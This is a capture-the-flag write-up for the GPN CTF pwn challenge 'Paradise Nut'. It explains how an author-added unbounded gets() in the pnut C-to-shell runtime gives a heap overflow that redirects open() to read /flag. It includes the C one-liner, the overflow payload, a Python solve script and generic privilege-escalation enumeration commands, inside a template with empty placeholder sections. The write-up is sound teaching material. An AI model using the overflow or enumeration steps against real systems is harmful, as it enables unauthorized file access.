Paradise Nut
Paradise Nut
Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-30 | Status: Solved Techniques: adjacent_buffer_filename_control, arbitrary_file_read_via_open, gets_unbounded_overflow, malloc_layout_offset_tuning, pnut_shell_heap_overflow, spacer_malloc_to_avoid_clobber
Summary
Task: submit one line of C compiled by the pnut C-to-POSIX-shell transpiler (MINIMAL_RUNTIME) and run as an unprivileged user; goal is to read root-owned /flag. Solution: the author added an unbounded gets() to the runtime, causing a heap overflow in pnut's _N bash-variable cell model; lay out an adjacent open() filename buffer right after the gets() target so the overflow writes '/flag', yielding arbitrary file read.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20240530_gpnctf_paradise_nut - Tags: buffer_overflow, heap_overflow, arbitrary_file_read, gets, pnut, transpiler, c_to_shell, open_filename_control, shell_memory_model, bump_allocator, ctf_pwn
- Indicators: author comment 'It's a shame that upstream pnut does not support my favorite libc function, runtime _gets() with
read -r REPLY+ unbounded unpack_string_to_buf, pnut heap cells named_N(bash variables), chal.sh runsbash <(./pnut-sh.sh <(head -n1)), C-to-POSIX-shell transpiler (pnut) used as the compiler - Source:
20240530_gpnctf_paradise_nut.md
Foothold
Vulnerability / Misconfiguration
- Adjacent_buffer_filename_control
- Arbitrary_file_read_via_open
- Gets_unbounded_overflow
- Malloc_layout_offset_tuning
- Pnut_shell_heap_overflow
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- adjacent_buffer_filename_control
- arbitrary_file_read_via_open
- gets_unbounded_overflow
- malloc_layout_offset_tuning
- pnut_shell_heap_overflow
- spacer_malloc_to_avoid_clobber
- Tags: buffer_overflow, heap_overflow, arbitrary_file_read, gets, pnut, transpiler, c_to_shell, open_filename_control, shell_memory_model, bump_allocator, ctf_pwn
Original Writeup
<details><summary>Click to expand original content</summary>Description
Finally a C compiler you can trust!
The player submits one line of C code. chal.sh compiles it with pnut-sh.sh
(the pnut transpiler that turns a large
subset of C99 into human-readable POSIX shell) and runs the resulting shell
script with bash, as the unprivileged user user. The goal is to read /flag.
The title is a pun: Paradise Nut = pnut, and "a C compiler you can trust" is a reference to Ken Thompson's Reflections on Trusting Trust — you actually can't trust this one.
# chal.sh #!/bin/bash printf 'Enter your C code on a single line.\n> ' bash <(./pnut-sh.sh <(head -n1))
# Dockerfile (key lines)
FROM ubuntu:26.04
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /flag
RUN chmod 400 /flag # only root can read /flag
RUN chmod u+s /usr/bin/nl # intended hard path: run `nl /flag` to win
RUN useradd user
USER user
COPY pnut-sh.sh chal.sh ./
ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./chal.sh,stderr" ]
Remote was served over SSL (ncat --ssl <host> 443).
The Dockerfile presents an intended hard path: /flag is chmod 400 root,
and /usr/bin/nl is SUID root, so the canonical win is nl /flag — which would
require command execution. As shown below, an arbitrary file read bypasses this
entirely.
Analysis
pnut-sh.sh is ~6184 lines: the upstream pnut transpiler compiled to a single
POSIX shell script, built as the MINIMAL_RUNTIME variant, with exactly one
author-added function: _gets().
pnut's shell memory model
pnut emulates C memory in shell. Heap "cells" are bash variables named
_1, _2, _3, ... (each holds one integer). malloc is a simple bump
allocator over __ALLOC (with RT_FREE_UNSETS_VARS and size headers). Strings
are stored one byte (as an int) per cell.
The author-introduced bug
Diffing the runtime against upstream sh-runtime.c (fetched from GitHub) confirmed
the sole addition is gets():
# It's a shame that upstream pnut does not support my favorite libc function
_gets() { # $2: buffer
read -r REPLY
unpack_string_to_buf "$REPLY" "$2" 1
: $(($1 = $2))
}
unpack_string_to_buf copies the entire REPLY line (one runtime line of
attacker input from stdin) into the destination buffer with no length/bounds
check. In the _N cell model this is a classic heap buffer overflow: writing
past the malloc'd buffer overwrites the integer values of subsequent _N cells —
including the bytes of an adjacent malloc'd buffer.
Dead ends (carefully disproven before landing on gets())
Recording these so future solvers can reuse the elimination:
- Compile-time string-literal injection into the generated shell.
pnut's
_print_escaped_charcorrectly escapes$, backtick, backslash, and"(the only specials inside a double-quoted shell context) and emits everything else as octal\NNN. Brute-testedprintf("$(id)"),printf("\id`")`, backslash combos — all safely escaped. DEAD. - Identifier-name injection into raw
_TEXT_STRINGnodes (which pnut emits unescaped). The C lexer_get_identrestricts identifiers to[A-Za-z0-9_], so no shell metacharacters can reach a raw node. DEAD. - char_to_int arithmetic injection. The runtime uses
case $1 in [[:alnum:]]) __c=$((__$1__)). This is normal upstream pnut code (SH_INCLUDE_ALL_ALPHANUM_CHARACTERS), not an introduced bug.$1is always a single byte (LC_ALL=C; unpack extracts one char via${buf%"${buf#?}"}). Brute-tested all 256 byte values through gets — all safe. The__X__constants are readonly integers; even though bash does recursively evaluate$((var))and would execute$(cmd)embedded in a value, no attacker-controlled string ever reaches a$(( ))context (all_Ncells only ever hold integers assigned via$(( ))). DEAD. - README
#include "file.sh"raw-shell-include trick. Absent in this MINIMAL build —_include_fileonly tokenizes includes as C. DEAD. - No system()/process-exec primitive anywhere in the runtime; only
printf/read/echo/exec-redirect builtins. Theopen()filename inexec N< "$__res"is double-quoted, so no command-substitution injection. DEAD.
Conclusion: the only author-introduced bug is the unbounded gets(), and its
reachable primitive is arbitrary file read/write as user. The flag text
itself confirms the intended path: "libc GETS() FANs... REPLY is not blacklisted".
Solution
Turn the overflow into control over the filename passed to open(), giving
arbitrary file read as user.
Heap layout tuning
Allocate the gets() target buffer immediately before a filename buffer, then
a large spacer:
char *b, *fn, *s;
b = malloc(8); // gets() target
fn = malloc(64); // filename for open()
s = malloc(4000); // spacer: pushes __ALLOC past fn so _open()'s internal
// malloc(1000) won't clobber fn
With the bump allocator (size headers, RT_FREE_UNSETS_VARS), the compiled output
places b at cell 1003 and fn at cell 1012, so fn is at offset
1012 - 1003 = 9 from b. A runtime line of ("A"*9 + "/flag") overflows b and
writes the path exactly at fn's cells; gets() appends a NUL terminator so
_put_pstr reconstructs the filename cleanly.
The spacer malloc(4000) matters: without it, _open()'s internal
_malloc __addr 1000 allocates at __ALLOC right after fn and overwrites the
tail of the filename (observed corruption like /etc/hosm0). Pushing __ALLOC
forward avoids this.
Final C one-liner (line 1)
int main(){char*b;char*fn;char*s;b=malloc(8);fn=malloc(64);s=malloc(4000);fn[0]=88;fn[1]=0;gets(b);int fd;fd=open(fn,0,0);char*o;o=malloc(4000);int n;n=read(fd,o,1000);write(1,o,n);return 0;}
Protocol
- Line 1 = the C one-liner (consumed by
head -n1, compiled by pnut). - Line 2 = the overflow payload
AAAAAAAAA/flag(9 ×A+/flag), read by the compiled program viagets().
The overflow sets fn = "/flag", open() succeeds (the deployed /flag was
readable by user — the chmod 400 + SUID nl was only the intended hard
path), then read() + write() dump the flag.
Local repro
# Compile the C one-liner and run it sh ./pnut-sh.sh poc.c > poc.sh bash poc.sh # feed line 2 on stdin # Instrumented build printed malloc addresses to nail the offset: # b=1003, fn=1012, pad=9 # Validated arbitrary read locally by dumping /etc/hosts.
Reusable Python solve (SSL socket)
#!/usr/bin/env python3
import socket, ssl
HOST, PORT = "CHALLENGE_HOST", 443
C_ONELINER = (
b"int main(){char*b;char*fn;char*s;"
b"b=malloc(8);fn=malloc(64);s=malloc(4000);"
b"fn[0]=88;fn[1]=0;gets(b);"
b"int fd;fd=open(fn,0,0);"
b"char*o;o=malloc(4000);"
b"int n;n=read(fd,o,1000);write(1,o,n);return 0;}"
)
PAYLOAD = b"A" * 9 + b"/flag" # offset 9 -> writes filename exactly at fn
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
raw = socket.create_connection((HOST, PORT))
s = ctx.wrap_socket(raw, server_hostname=HOST)
print(s.recv(4096).decode(errors="replace")) # banner: "Enter your C code..."
s.sendall(C_ONELINER + b"\n") # line 1: C source
s.sendall(PAYLOAD + b"\n") # line 2: gets() overflow
data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
print(data.decode(errors="replace"))
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR